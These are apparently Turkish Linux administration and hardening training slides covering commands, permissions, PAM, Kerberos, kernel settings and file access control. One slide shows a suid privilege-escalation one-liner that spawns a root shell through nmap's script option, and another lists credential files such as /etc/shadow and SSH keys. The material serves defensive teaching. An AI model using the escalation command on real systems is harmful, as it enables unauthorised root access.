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UNIX/Linux Hakkında

Bölüm 1
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2007 yılı itibarıyla, “The Open Group” konsorsiyumunun 
tescilli markasıdır.

UNIX, ilk olarak 1969 yılında AT&T'ye bağlı Bell 
laboratuvarlarında üretilmiş bir işletim sistemidir.

5 Ekim 1991’de Linux’un ilk sürümü MIT’nin haber 
listelerinde Dünya’ya duyuruldu.

Linux, 1991'den beri geliştirilen, Linus Torvalds tarafından 
başlatılmış UNIX benzeri bir işletim sistemidir.

UNIX (ve LINUX) Nedir?
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70-80'lerde akademik çevrelerde kazandığı popülerlik, ticari 
alternatiflerini de getirdi.

Ticari alternatiflerin akademik olarak uygun olmaması, BSD 
türü UNIX sistemlerinin gelişmesine önayak oldu.

Linux, GNU/Linux işletim sisteminin sadece kerneline verilen isimdir.

1983'te başlayan GNU projesi ve 1991'de başlayan Linux'un katkısıyla 
GNU/Linux oluştu. “Gnu is Not UNIX “

Kısa Bir Tarihçe
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UNIX türevi işletim sistemleri cep bilgisayarlarından süper bilgisayarlara, bilişimin 
her alanında kullanılmaktadır.

 OpenBSD, FreeBSD, NetBSD, ...

 Debian, Redhat, Suse, Ubuntu, Pardus,...

Ücretsiz UNIX türevleri arasında BSD ve Linux aileleri sayılabilir.

Ticari UNIX türevleri arasında Solaris, HP-UX, AIX, ... gelmektedir.

Günümüz
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Linux işletim sistemi, farklı yazılım ve yardımcı programlarla birlikte hazırlanır ve 
kolayca kurulabilir hale getirilir. Bu paketlere “dağıtım” adı verilir.

Redhat, Fedora, Ubuntu, Debian, Pardus, Suse, vb. gibi bir çok dağıtım vardır.

Kullanım amacı, ihtiyaçlar ve alışkanlıklar dağıtım seçimini belirler.

Kurulum – Hangi Dağıtım?
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Linux Kurulumu

Bölüm 2
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Çoğu dağıtımın kurulum CD ya da DVD'si Internet'ten indirilebilir.

Red Hat, Suse gibi ticari Linux dağıtımlarının kurulum ve yazılım güncellemeleri 
için ödeme yapmak gerekebilir.

Kurulum Dosyalarını Edinmek
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Bilgisayarın donanımı Linux ve dağıtımla uyumlu mu?

Donanım minimum gereksinimleri karşılıyor mu?

Yeterli disk alanınız var mı?

Kurulacak bilgisayarda başka bir işletim sistemi de olacak mı?

Bilgisayarda halihazırda bilgi varsa, yedeklendi mi?

Sistemi Kuruluma Hazırlamak
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CD, FTP, Ağ Sunucusu

Nereden kurulmalı?

Sunucu, İş İstasyonu, Diğer

Kurulum sınıfı seçilmelidir.

Kurulum | Öncesi
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Kurulum adımlarında yapılan seçimlerin kaydını tutmak.

Baştan itibaren güvenlik gereksinimlerini gözönünde bulundurmak.

Kurulum | Sonrası
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Adım adım kurulum

/tmp, /var, /var/log, /var/log/audit, /home

Dosya sistemi yapılandırmasında ayrı bölümler oluşturun.

Uygulama | CentOS Kurulumu
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Linux Kullanım ve Yönetimi

Bölüm 3
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# cd <dizin>

 Dizin:
~ : kullanıcının dizini
~can : ”can” adlı kullanıcının dizini
. : içinde bulunulan dizin
.. : bir üst dizin

cd – Çalışma dizinini değiştirmek

# pwd

pwd – Çalışma dizinini görüntülemek

Dizinleri / Dosyaları Görüntülemek (1)
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# ls <seçenekler> <dizinler/dosyalar>

 Seçenekler:
-l uzun liste
-a gizli dosyaları da göstermek
...

ls – Dizin içeriklerini görüntülemek

Dizinleri / Dosyaları Görüntülemek (2)

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr


# cat <dosya ismi>

cat – Dosya içeriğini göstermek

# less <dosya ismi>

 Page Up, Page Down ve ok tuşlarıyla gezinmek, / tuşuna basarak arama yapmak 
ve q tuşuyla çıkmak mümkündür.

less – Dosya içeriğini sayfalandırmak

Dosya İçeriğini Görüntülemek
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# touch <dosya ismi>

touch – Boş dosya oluşturmak

# grep <aranan dizgi> <dosya ismi>

grep – Dosyanın içinde aramak

# find <dizin> <find komutları>

# find <dizin> -name <dosya ismi>
Tüm dosya sisteminde “services” adlı dosyaları aramak:

# find / -name services

# find <dizin> -user <kullanıcı ismi>
Tüm dosya sisteminde “can” kullanıcısına ait dosyaları aramak:

# find / -user can

find – Dosya aramak

Dosya/Dizin Aramak
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Dizin Yapısı
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/ En üst dizin

/bin Açılış sırasında kullanılan programlar

/boot Sistem yükleyicisinin kullandığı dosyalar

/dev Cihaz dosyaları

/etc Uygulamaların ve servislerin yapılandırma dosyaları

/home Kullanıcıların dizinlerinin bulunduğu dizin

/lib “/bin” dizinindeki dosyaların kullandığı kütüphane dosyaları

/mnt Geçici bağlanan dosya sistemlerinin bulunduğu dizin

/media Geçici bağlanan cdrom, usb vb. bulunduğu dizin

/opt Ek yazılımların kurulduğu dizin yapısı

/proc Çerkirdek hakkında bilgiler tutan dosyaları içeren sanal bir dosya sistemi

/root “root” kullanıcısının ev dizini

/sbin Sistem yöneticisinin açılışta kullanabileceği programlar

/tmp Geçici dosyaların tutulduğu dizin

Dizin Yapısı | İçerik
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Dosya İçerik ve Nedeni

/etc/resolv.conf Sistem DNS sunucuları

/etc/issue Dağıtım sürümü

/etc/passwd Yerel kullanıcılar

/etc/shadow Kullanıcı parola özetleri

/etc/sudoers Sudo kuralları

/home/xxx/.bash_history Kullanıcı komut tarihçesi

/home/*/.ssh/id* SSH anahtarları

/home/*/.vnc VNC uzaktan erişim bilgileri

Bazı Hassas Dosyalar
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Kayıt dosyalarında sistem mesajları ve kullanıcı muhasebesi bilgileri yer alır.

Çoğu kayıt dosyası salt metin olduğundan, bir metin düzenleyicisi (vi, gedit, ...) ya 
da metin göstericisi (more, less, cat, ...) kullanılarak incelenebilir.

 /var/log/messages Çoğu kayıt bilgisinin bulunduğu dosya

 /var/log/maillog Mesaj sistemiyle ilgili kayıtlar

 /var/log/lastlog Sisteme giren ve çıkan kullanıcıların kaydı – salt metin 
olmadığından “last” komutuyla içeriği görülebilir.

Bazı kayıt dosyaları:

Kayıt Dosyaları
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Her komut için bir klavuz sayfası vardır.

# man <komut> Komutun referans sayfası

# man -k <anahtar sözcük> Anahtar sözcüğün geçtiği sayfalar

# man -a <komut> Komutla ilgili tüm sayfalar

# man <1-9...> <komut> Verilen bölümdeki sayfa

Kullanımı:

Yardım Almak

 NAME İsim ve kısa açıklama

 SYPNOSIS Özet kullanım biçimi

 DESCRIPTION Tanım

 OPTIONS Tüm seçenekler

 EXAMPLE Örnek kullanım (hepsinde yoktur)

 AUTHOR Yazar hakkında bilgi

Referans sayfaları, genel olarak aynı biçime sahiptir:
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# date Şimdiki zaman

# date -d yesterday Dün

# date -d '10 days ago' On gün öncesi

# date +%Y Bu yıl

# date +%A Bugün

date – Sistem zamanını öğrenmek

# cal Bu ayın takvim

# cal 2012 2012 yılının takvimi

# cal 02 1975 Şubat 1975 takvimi

cal – Takvim

# uname İşletim sisteminin modeli

# uname -a Tam bilgi

uname – Sistemin ismini öğrenmek

Sistem Hakkında Bilgi Edinmek
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# cp <kaynak dosya> <hedef>

cp – Dosya kopyalamak

# mv <kaynak dosya> <hedef>

mv – Dosya taşımak

<kaynak dosya> birden fazla olabilir, bu durumda <hedef> bir dizin olabilir.

# rm <dosya ismi> Dosyayı silmek

# rm -f <dosya ismi> Dosyayı zorla silmek

# rm -i <dosya ismi> Dosyayı silmeden önce sormak

# rm -r <dosya ismi> Altdizinlerle birlikte silmek

rm – Dosya silmek

Dosya/Dizinleri Kopyalamak, Taşımak, ... (1)
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# mkdir <dizin ismi>

mkdir – Dizin yaratmak

# rmdir <dizin ismi>

rmdir – Dizin silmek

Dosya/Dizinleri Kopyalamak, Taşımak, ... (2)
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# ln <dosya ismi> <hedef>
Sert bağlamak: dosya ve hedef aynı dosyaya işaret ederler.

# ln -s <dosya ismi> <hedef>
Yumuşak bağlamak: hedef, asıl dosyaya işaret eden başka bir dosya olur.

ln – Dosyaları bağlamak

Dosya/Dizinleri Kopyalamak, Taşımak, ... (3)
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# df Standart kullanım

# df -h Okunabilir (MB,GB) boyutlar

# df <dosya sistemi> Tek bir dosya sistemi için

df – Tüm dosya sistemlerini raporlamak

# du Standart kullanım

# du -s Sadece toplamları listelemek

# du -h Boyutları okunabilir cinsten vermek

du – Dizin ve dosyaların kullandığı disk alanını raporlamak

Dosya Sistemlerini İncelemek
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Kullandıkları yordamlardan dolayı farklı seviyelerde sıkıştırırlar.

Üç çeşit dosya sıkıştırma yöntemi vardır. 

# compress – sıkıştırmak uncompress – sıkıştırılmış dosyayı açmak

compress: uzantısı .Z

# gzip – sıkıştırmak gunzip – sıkıştırılmış dosyayı açmak

gzip: uzantısı .gz

# bzip2 – sıkıştırmak bunzip2 – sıkıştırılmış dosyayı açmak

bzip2: uzantısı .bz2

 -9 -8 ... -0 sıkıştırma seviyesi

 -v daha görsel çıktı

Her üç komuta da ortak seçenekler:

Dosya Sıkıştırma ve Açma İşlemleri
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tar – Bir ya da daha fazla dosyayı tek bir arşivde toplamak

 c Yeni arşiv oluşturmak

 t Arşivin içeriklerini göstermek

 x Arşivden dosyaları çıkarmak

 f Dosya ismi belirtmek

 v İşlemleri göstermek

 Z compress kullanmak

 z gzip kullanmak

 j bzip2 kullanmak

Seçenekler:

Basit Yedekleme İşlemleri Yapmak
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root kullanıcısının ev dizini altında yedek dizini oluşturununuz.

/var/log içerisine giriniz.

Uygulama | Kayıt Dosyalarının Yedeklenmesi

Mevcut bütün log dosyalarını oluşturduğunuz dizine kopyalayanız.

Oluşturduğunuz dizini log_GGAAYY biçiminde isimlendirerek sıkıştırarak 
arşivleyiniz.
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Dosyalar kullanıcılar ve bilgisayarlar arasında paylaşılabilir.

Her dosyanın bir sahibi ve grubu vardır. Varsayılan sahip, dosyayı oluşturandır.

Kullanıcı ve grup sahipliği bilgisi, sistem yöneticisi tarafından değiştirilebilir.

Okuma, yazma ve çalıştırma izinleri, kullanıcı, grup ve diğerleri için belirlenebilir.

Dosya izin ve sahiplikleri “ls -l” ile görülebilir.

“İzin” Mantığı
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/etc/shadow ve /etc/passwd dosyalarının izinlerini bulunuz.

Sonucu yorumlayınız.

Uygulama | Dosya İzinleri
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chmod – Erişim izinlerini ayarlamak

# chmod <mod> <dosya ismi>

Birinci kullanımı:

4 → okuma
2 → yazma
1 → çalıştırma

mod, üç basamaklı bir sayıdır:

7 → kullanıcı için okuma + yazma + çalıştırma
5 → grup için okuma + çalıştırma
5 → diğerleri için okuma + çalıştırma

Örnek: chmod 755 dosya.txt

Dosya İzinleriyle İlgili Komutlar – chmod (1)
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Dosyanın sahibi olan kullanıcı dışındakilerin yazmasın engeller.

# chmod <ugoa><+-=><rwxs> <dosya ismi>

İkinci kullanımı:

u : kullanıcı g : grup o : diğerleri a : tüm izinler

+ : ekle - : çıkar = : eşitle

r : okuma izni w : yazma izni x : çalıştırma izni s : “suid” izni

Örnek: chmod og-w dosya.txt

Dosya İzinleriyle İlgili Komutlar – chmod (2)
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 mod, chmod komutunda kullanılan gibi üç basamaklı bir sayıdır. 

 Farklı olarak, çıkartılacak izinler belirtilir. 

 Örneğin “umask 022” yeni dosyalarda kullanıcı dışındakilerin yazma iznini kaldırır.

umask <mod> - Yeni yaratılan dosyaların varsayılan izinlerini belirlemek

# chgrp <grup> <dosya>

# chown <kullanıcı> <dosya>

# chown <kullanıcı>:<grup> <dosya>

chown – Kullanıcı sahipliğini değiştirmek

chgrp – Grup sahipliğini değiştirmek

id – Kullanıcının kimliğini belirlemek

Dosya İzinleriyle İlgili Komutlar – Diğerleri
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/etc altında kendi adınızla bir dosya oluşturunuz.

Sahibi nobody, grubu root ve izinleri 777 olacak şekilde ayarlayınız.

Uygulama | Dosya Sahipliği
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İlk başta kullanışsız gibi görülebilir. Ama grafik ortamla
erişilemeyen sistemlerde ve gelişmiş işlemler yapmak
gerektiğinde, kullanımını bilmek bir çok işinizi rahatlatacaktır.

vi / vim: Her Unix sistemiyle gelen metin düzenleyicisidir. 
Kullanımı başlangıçta kolay görünmeyebilir, ama en güçlü 
metin düzenleyicilerindendir.

gedit, kedit vb.: Grafik ortamda, kolay kullanılır arabirimleriyle basit metin 
düzenleme işleri için kullanılabilir.

Dosya Düzenleme
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 -c <ad soyad> Kullanıcının isim bilgisi

 -d <ev dizini> Ev dizini (/home/...)

 -g <gid> Asıl grup numarası

 -m Ev dizinini yarat

 -s <kabuk> Kabuk belirt

 -u <uid> Asıl kullanıcı numarası

useradd <seçenekler> <kullanıcı ismi>

 “passwd <kullanıcı ismi>”

Kullanıcı eklendikten sonra şifre belirleme

Kullanıcı Eklemek ve Silmek

 -r Kullanıcının dosyalarını da sil

 -f Kullanıcının ev dizinindeki dosyaları, kullanıcıya ait olmasa da sil

userdel <seçenekler> <kullanıcı ismi>
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 -c <ad soyad> Kullanıcının isim bilgisi

 -d <ev dizini> Ev dizini (/home/...)

 -g <gid> Asıl grup numarası

 -m Ev dizinini yarat

 -s <kabuk> Kabuk belirt

 -u <uid> Asıl kullanıcı numarası

usermod <seçenekler> <kullanıcı ismi>

tom:x:1000:1000:Tom Jerry,,,:/home/can:/bin/bash

Örnek /etc/passwd satırı:

tom:$1$alC1WG1V$Aa3raeBFTjqKq1a.0bNU0.:13692:0:99999:7:::

Örnek /etc/shadow satırı:

Kullanıcı Bilgilerini Değiştirmek

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr


Kendi adınızla uid=1111 olacak şekilde kullanıcı oluşturunuz.

Ev dizinini /home/İSMİNİZ; kabuğu /bin/bash olarak ayarlayınız.

Uygulama | Kullanıcı Oluşturmak
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Her donanımın bir aygıt ismi vardır.

/dev/hda İlk IDE disk
/dev/hda3 İlk IDE disk üzerindeki üçüncü bölüm
/dev/hdb İkinci IDE disk
/dev/sda İlk SCSI disk
/dev/fd0 İlk Floppy disk
/dev/cua0 İlk seri kapı (çıktı)
/dev/ttyS0 İlk seri kapı (girdi)

Bazı çok rastlanan aygıtlar:

/dev/cdrom CD-Rom
/dev/mouse Mouse

Bazı aygıtlara kısayollar:

/dev dizini altında aygıtlara denk gelen dosyalar vardır.

Aygıt İsimleri
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# ps -ef Tüm süreçler

# ps -fu <kullanıcı> Kullanıcının süreçleri

Çalışan süreçleri görmek: ps

# chkconfig --list-all Tüm servisler hakkında bilgi

Kayıtlı servisleri listelemek: chkconfig

# service <servis ismi> [start|stop|status]

Kayıtlı servisleri yönetmek: service

Servis ve Süreçlerin Yönetilmesi
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İşletim sisteminin donanımla diğer uygulamalar arasındaki iletişimi sağlayan 
parçasına “çekirdek” (kernel) denir.

 Açık kaynaklı olduğundan, isteğe göre farklı şekilde derlenebilir.

 Modül desteğiyle, işlerliği çalışma sırasında değiştirilebilir.

 Ayarlanabilir seçenekleriyle, davranışı değiştirilebilir.

Linux çekirdeği:

Sistemin temel çalışmasından sorumludur.

Linux Çekirdeği
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Yeniden derlemek

 lsmod Yüklü modülleri görmek

 insmod Yeni modül eklemek

 rmmod Modül çıkarmak

Modülleri kullanmak

 sysctl -a Ayarları listelemek

 sysctl -w değişken=değer Bir ayarı değiştirmek

 /etc/sysctl.conf Değişiklikleri kalıcı kılmak

Çekirdek ayarlarını değiştirmek

Çekirdeğin Yapılandırılması
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# su root kullanıcısı

# su <kullanıcı_ismi> başka bir kullanıcı

# su - <kullanıcı_ismi> su tek başına sadece kullanıcı yetkilerini değiştirir. Diğer 
çevre ayarlarıyla birlikte yetkilerini değiştirmek için “-” işareti kullanılır.

su – Başka kullanıcının yetkilerine geçmek

Unix/Linux sistemlerde, “root” kullanıcısı sistem yönetimi için yetkilidir.

auth required pam_wheel.so use_uid

wheel grubu hariç diğerlerine su komutunu kapatmak için /etc/pam.d/su içine;

Yetkili Kullanıcı
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Kullanıcının işletim sistemiyle iletişimini sağlayan program

Farklı kabuk programları bulunmaktadır. Linux'ta genellikle “bash” kullanılır.

Verilen komutları işletim sistemine ve komutların çıktılarını kullanıcıya iletir.

Kullanıcı

Kabuk

İşletim Sistemi (Çekirdek)

Donanım

Kabuk Nedir?
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Sistem tarafından kullanılabilecek bilgileri saklamak için değişkenler kullanılır.

 HOME Kullanıcı dizini

 PAGER Sayfalandırma komutu (more, less, cat ...)

 PATH Komutların arandığı dizin listesi

En çok kullanılan kabuk değişkenlerinden bazıları:

# echo $HOME

Değişkenin içeriğini göstermek:

# export PAGER=cat

# export PATH=$PATH:/opt/bin

Değişkenin içeriğini değiştirmek:

Kabuk Değişkenleri
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Kabuk, sadece kullanıcının girdiği komutları işleyen bir yorumlayıcı değildir. 
Ayrıca birden fazla komutu arka arkaya çalıştıran “kabuk programları”nı da işler.

Kabuk programları, bir metin düzenleyicisiyle yazılabilir.

#!/bin/bash
echo “Tarih:”
date
echo “Kullanıcı Listesi”
who

(tarihkullanici.sh)

# chmod +x tarihkullanici.sh

# ./tarihkullanici.sh

Örnek bir kabuk programı:

Kabuk Programları
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• cat

• cut

• sort

• uniq

Aynı ID’li kullanıcıların varlığını kontrol eden kabuk betiği yazınız.

Alet çantası

Uygulama | Kabuk Betiği Örneği
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Linux Sıkılaştırması

Bölüm 4
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 Gereksiz servislerin kapatılması

 Güvenli servislerin kullanımı

 Sistem yönetim hesapları

 Erişim kontrolü

 Çekirdek parametreleri

 Kurulum esnasında güvenlik

 Yapılandırma dosyaları yedekleri

 Yama yönetimi

 Kayıt/İz takibi mekanizması

 Dosya/Dizin izinleri

Sistem sıkılaştırması nasıl gerçekleştirilir?

Sıkılaştırma
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Güvenlik gereksinimleri belirlenmelidir.

 Hassas ya da gizli bilgiyi nasıl sınıflandırırsınız?

 Sisteminiz hassas ya da gizli bilgi içeriyor mu?

 Tam olarak kime karşı korunmak istiyorsunuz?

 Sisteme uzaktan bağlanma ihtiyacı var mı?

 Şifrelerle ya da kriptolamayla yeterli güvenlik sağlanıyor mu?

 İnternet erişimine ihtiyaç var mı?

 İnternetten sisteminize erişim ne kadar sınırlandırılmalı?

 Sisteminizin güvenliğindeki bir açıklığa karşı neler yapılabilir?

Güvenlik politikaları tanımlanmalıdır.

Kurulum Öncesi
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Sunucu kapalı ve iyi havalandırmalı bir yere konulmalıdır.

Klavye ve harddisk gibi harici cihazların takıldığı yerlerin kilitlenebildiği kasalar 
kullanılmalıdır.

Fiziksel Güvenlik
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BIOS ayarlarına girmek için parola tanımlanmalıdır.

Parola koruması sağlanmalıdır.

CD-ROM, disket ya da USB’den boot etme olanağı BIOS’tan etkisiz kılınmalıdır.

“Reboot ” sınırlandırılmalıdır. 

CD-ROM kasası kilitlenmelidir

SCSI BIOS ayarları yapılmalıdır.

“AUTO” ayarlar etkisiz kılınmalıdır. 

BIOS Güvenliği
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 DoS (Denial of Service)

 Yedekleme

Neden?

 Hangi bölmeler olacak? (/, /home, /var, /usr, ...)

 Ne kadar yer ayrılacak? (NNTP, Syslog, www, ...)

Nasıl?

0%

10%

20%

30%

40%

50%

60%

70%

Web Shell News File Syslog

Tmp

Log

Spool

Home

Root

Bölümlendirme
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Bölümlendirme Görüntüleme
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freevxfs, jffs2, hfs , hfsplus, squashfs, udf

/etc/modprobe.d/harden.conf

install freevxfs /bin/true…

# mount -o remount,nodev,nosuid,noexec /tmp /dev/shm {/ayrılabilir ortamlar}

# mount -o remount,nodev /home

nodev, noexec, nosuid seçeneklerini düzenleyin.

# mount --bind /tmp /var/tmp

/var/tmp dizinini /tmp’ye bağlayın.

Kullanılmayan dosya sistemlerini etkisizleştirin.

Dosya Sistemi Sıkılaştırması
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Kullanışlılık, yüksek performans, güvenlik

 Bilgi hizmetleri: WWW, FTP

 Dosya ve yazıcı paylaşım hizmetleri: NFS, Samba

 DNS hizmetleri

 E-mail hizmetleri

Bir sunumcu tek amaca yönelik servis vermeli.

Sunucu Paketleri
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Her Unix sisteminin ve Linux dağıtımının farklı bir yazılım yönetim sistemi vardır.

# yum install <paket ismi> Yazılım kurmak

# yum remove <paket ismi> Kurulu yazılımı kaldırmak

# yum update <paket ismi> Paket  güncellemek

# yum search <paket ismi> Paket aramak

# yum provides /etc/ssh/ Dosyalarla ilgili paketleri bulmak

# yum [grouplist|groupinstall|groupremove] 'Grup Adı'

Fedora/CentOS/Red Hat için “yum” kullanılır:

Paket ve Yama Yönetimi
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# yum check-update

Mevcut güncellemeleri görmek için;

# yum update

Güncelleme paketlerinin kurulumu için;

# yum update --security

Sadece güvenlik paketlerinin kurulumu için;

Yazılım Güncelleştirilmesi – RHEL
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AIX birden fazla güncelleme yöntemi sunar.

SUMA (Service Update Management Assistant): AIX 5.3 sonrasında gelen 
otomatik güncelleme sihirbazı

Yazılım Güncelleştirilmesi – AIX

www-933.ibm.com/support/fixcentral/

Elle güncelleme
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HP-UX yamaları birkaç gruptan oluşur.

Yazılım Güncelleştirilmesi – HP-UX
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Parolalar sistemi korur, kullanıcılar da parola korumalıdır.

Çoğu modern sistemde shadow türü parola dosyaları ve en az MD5 
algoritması varsayılandır.

Gölgelenmiş şifreler (shadow), varsa MD5 üzeri kullanılmalıdır.

 Anlamlı olmalıdır. (hatırlanmalı!)

 Yazılı olarak saklanmamalıdır.

Tahmin edilmesi zor şifreler kullanılmalıdır.

“root” ve Kullanıcı Hesapları
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 En temel kullanıcı yönetimi

 Parolalar hash+salt bir durumda bulunur.

adduser, useradd, addgroup, groupadd, passwd, chgrp komutları

 NIS, LDAP, SMB…

 /etc/pam.conf, /etc/pam.d

PAM ile başka kullanıcı veritabanları kullanılabilir.

# chmod 644 /etc/{passwd,group}

# chmod 000 /etc/{shadow,gshadow}

# chown root:root /etc/{passwd,shadow,group,gshadow}

passwd ve shadow dosyalarının güvenliği

OpenLDAP+PAM+NSS

Kullanıcı Hesapları ve Güvenliği
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/etc/pam.d/system-auth

password requisite pam_cracklib.so try_first_pass retry=3 minlen=8 lcredit=1 
ucredit=1 dcredit=1 ocredit=1

pam_cracklib.so ile parola oluşturma gereksinimlerinin belirlenmesi

/etc/pam.d/password-auth ve /etc/pam.d/system-auth dosyalarında;

auth required pam_faillock.so preauth audit silent deny=5 unlock_time=900 

auth [default=die] pam_faillock.so authfail audit deny=5 unlock_time=900 

auth sufficient pam_faillock.so authsucc audit deny=5 unlock_time=900 

auth [success=1 default=bad] pam_unix.so 

Hatalı giriş denemeleri için kilitleme

PAM
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 MIT (Project Athena)

 Karşılıklı (mutual) doğrulama

 Güvenilen hakem

 SSO (single sign on)

Ağ üzerinde kimlik doğrulama

Kerberos
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ALICE
client

BOB
server

KERBEROS DISTRIBUTION CENTER

AUTHENTICATION 
SERVICE

TICKET GRANTING 
SERVICE

1. Ben ALICE, 
TGS’den bilet 

almak istiyorum

2. Peki. Ekteki kutu parolanla 
kilitli. Açabilirsen TGS’yi 
kullanabilirsin.

TGT

3. Parola 4. Sunucuya bağlan

4. BOB için bilet 
lütfen. TGT’nin bir 
kopyası ekte.

TGT

5. Doğru, sen ALICE’sin. 
Biletin ekte.

BOB

BOB
BOB

6. Ben ALICE, biletim ekte.
TGT

BOB+1
7. OK. Ben de BOB.

Kerberos Mantığı
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Kurumsal yönetilebilirlik ihtiyacı

Kullanıcıların geçerli kullanıcı adı ve parolalarını kullanabilmeleri

Ağ ve Sistem kaynaklarına ulaşabilmek

Microsoft AD Entegrasyonu
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Aktif Dizin’den User Authentication ve Group Policy bilgilerini alarak Unix, Linux, Mac 
ve bazı uygulamalara (Jboss vs.) SSO (single sign-on) merkezi doğrulaması ile oturum 
açma işlemlerini gerçekleştiren sunucu-istemci çalışan ücretsiz bir yazılımdır.

Samba, winbind, nscd gibi varolan paketlerle mümkün ama…

CentrifyExpress

Nasıl?
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Nasıl? - Express

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr


Nasıl? - Express
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# yum install ecryptfs-utils gettext

# mkdir -m 700 ~/.Private

# mkdir -m 500 ~/Private

# mount -t ecryptfs .Private Private

 2) passphrase; aes; 16; n; n; yes; yes

# echo "şifrelenecek metin" > ~/Private/gereksiz_veri.txt

# cat ~/Private/gereksiz_veri.txt

# cat ~/.Private/gereksiz_veri.txt

# umount ~/Private

# mount -t ecryptfs .Private Private

Ecryptfs ile şifreli dizin oluşturma

Uygulama | Disk Şifreleme - eCryptfs
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Güvenlik Amaçlı Çekirdek 
Ayarları

Bölüm 5
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Bağlanan tarafın hala “ack” paketi göndermediği maksimum bağlantı sayısını belirler.

net.ipv4.tcp_max_syn_backlog = 4096

'syn flood’ saldırılarını önlemek için kullanılır.

net.ipv4.tcp_syncookies=1

Kaynak yönlendirmesinin etkinliğini belirler.

net.ipv4.conf.all.accept_source_route = 0

net.ipv4.conf.default.accept_source_route = 0

ICMP yönlendirme paketlerinin dikkate alınmamasını sağlar.

net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0

net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.default.secure_redirects = 0

Güvenlik Amaçlı Çekirdek Ayarları (1)
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Yönlendirme mesajlarının gönderilmesini engeller.

 Yönlendirme mesajlarının gönderilmesini engeller.

net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0

IPv4 paketlerinin yönlendirilmesi kapatılır.

net.ipv4.ip_forward = 0

Sistem Broadcast/Multicast IP’lerden gelecek ICMP ECHO mesajlarına cevap vermez.

net.ipv4.icmp_echo_ignore_broadcasts = 1

Ters yol (reverse path) özelliğini kullanarak kaynak adres onamasını yapar.

net.ipv4.conf.all.rp_filter = 1

net.ipv4.conf.default.rp_filter = 1

Güvenlik Amaçlı Çekirdek Ayarları (2)
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Herhangi bir dosya tanımlayıcısıyla ilgili olmayan en fazla TCP soketi sayısı.

net.ipv4.tcp_max_orphans = 256

Hedefi imkansız olan paketlerin kaydını tutar. Ör: eth0’da 127.0.0.1 görülmesi

net.ipv4.conf.all.log_martians = 1

net.ipv4.conf.default.log_martians = 1

Bozuk ICMP mesajlarının dikkate alınmamasını sağlar.

net.ipv4.icmp_ignore_bogus_error_responses=1

Önbellek taşması (Buffer Overflow )koruması

kernel.exec-shield=1

kernel.randomize_va_space=2

Güvenlik Amaçlı Çekirdek Ayarları (3)
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Dosya Sistemi Erişim Denetimi

Bölüm 6
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Disk bölmelerin ve taşınabilir cihazların nereye bağlanacağını belirleyen dosyadır

Sisteminize ext2,ext3,reiserfs,xfs,jfs dosya sistemleri ile bağlı olanlar: nodev

Güvenlik için noexec,nodev,nosuid parametreleri kullanılır.

Taşınabilir cihazlar için: nodev,nosuid

/tmp, /var/tmp için: noexec,nodev,nosuid

/etc/fstab Ayarları
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passwd, ping, mount, su

# find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -la {} \;

 Yönlendirme mesajlarının gönderilmesini engeller.Sistemdeki mevcut suid ve guid programların takibi

Bu programlar, programı çalıştıran kullanıcı hakları yerine programın sahibi olan 
kullanıcı/grup hakları ile çalışır.

Suid ve Sgid Biti Açık Dosyalar
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# type nmap

nmap is hashed (/usr/local/bin/nmap)

# sudo chmod u+s /usr/local/bin/nmap

# ls -l /usr/local/bin/nmap

-rwsr-xr-x 1 root root 2355411 2012-08-24 07:17 /usr/local/bin/nmap

# nmap --script <(echo 'require "os".execute "/bin/sh"')

 Yönlendirme mesajlarının gönderilmesini engeller.Örnek

Suid ve Sgid İstismarı
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# cd /tmp

# wget http://linukz.org/download/sxid-4.2.tar.gz

# tar -zxvf sxid-4.2.tar.gz

# cd sxid-4.2/

# ./configure --prefix=/usr/local/sxid

# make

# make install

 Yönlendirme mesajlarının gönderilmesini engeller.Suid ve Sgid biti etkin dosyaların tespiti, raporlaması ve e-posta yolu ile bildirimi

Suid ve Sgid Takibi - SXiD

*/5 * * * * /usr/local/sxid/bin/sxid --config /usr/local/sxid/etc/sxid.conf

 Yönlendirme mesajlarının gönderilmesini engeller.Cronjob
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# find / -nouser -o -nogroup -print

 Yönlendirme mesajlarının gönderilmesini engeller.Bu dosyalar sisteme istenmeyen şahıslar tarafından kurulan programlar olabilir.

Sahibi olmayan dosyaların sistemde olmaması gerekmektedir.

Sahipsiz Dosyalar
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Web shell ekleme

En yetkisiz kullanıcı tarafından okunabilir, yazılabilir.

# find / -perm 0002 -type f -print

Yanlış yazılmış betik/program sonucu veya kötü niyetli kullanıcılarca oluşabilir.

Sistemde hiçbir dosya herkes tarafından yazılabilir durumda olmamalıdır.

Paylaşımlı hosting firmalarında tehlike arz edebilir.

Herkes Tarafından Yazılabilen Dosyalar
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# find /var/log -type f | xargs chmod 600

Bu dosyalar okunarak sistem detaylarına sahip olunabilir.

Kayıt dosyaları sistem hakkında bilgi vermektedir.

 Yönlendirme mesajlarının gönderilmesini engeller.Bu dosyalar ve bu dosyaları döndüren programlar düzenlenerek kayıt dosyaları 
izinleri düzenlenir.

Kayıt Dosyaları İzinleri
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Sürüm bilgisi alınan bir yazılım için açıklık taramak son derece kolaydır.

Sistemde kurulu paketler ve bu paketlerin sürümleri ile ilgili bilgiler kesinlikle son 
kullanıcıya gösterilmemelidir.

Paket Veritabanı Dosyaları (rpm)

# chown rpm:rpm /var/lib/rpm

# chmod 750 /var/lib/rpm

# chown rpm:rpm /var/lib/rpm/*

# chmod 700 /var/lib/rpm/*

Sıkılaştırmak için
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Linux sistemlerde /etc/rc.d dizini altında bulunan betiklerin izinleri ile oynanarak 
sadece root kullanısı tarafından erişilebilmesi sağlanmalıdır.

/etc/rc.d dizini altında Linux işletim sistemi başlangıcı sırasında çalıştırılan 
servisler mevcuttur.

Başlangıç Betikleri Dizinleri
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Sunucuya fiziksel erişimi olan kötü niyetli birisi bu cihazlar ile sistemden dosya alabilir, 
sistemi USB’den boot edebilir.

USB ve PCMCIA cihazların iptal edilmesi gerekmektedir.

USB ve PCMCIA Cihazları

# echo 'install usb-storage : ' >> /etc/modprobe.conf
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Kullanıcı Erişim Denetimleri

Bölüm 7
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Sisteme girişlerde (ftp, ssh, telnet, X) kullanıcıya uyarı mesajları göstermelidir.

SSH ve login gibi servisler için /etc/{issue,motd,issue.net} dosyaları düzenlenir.

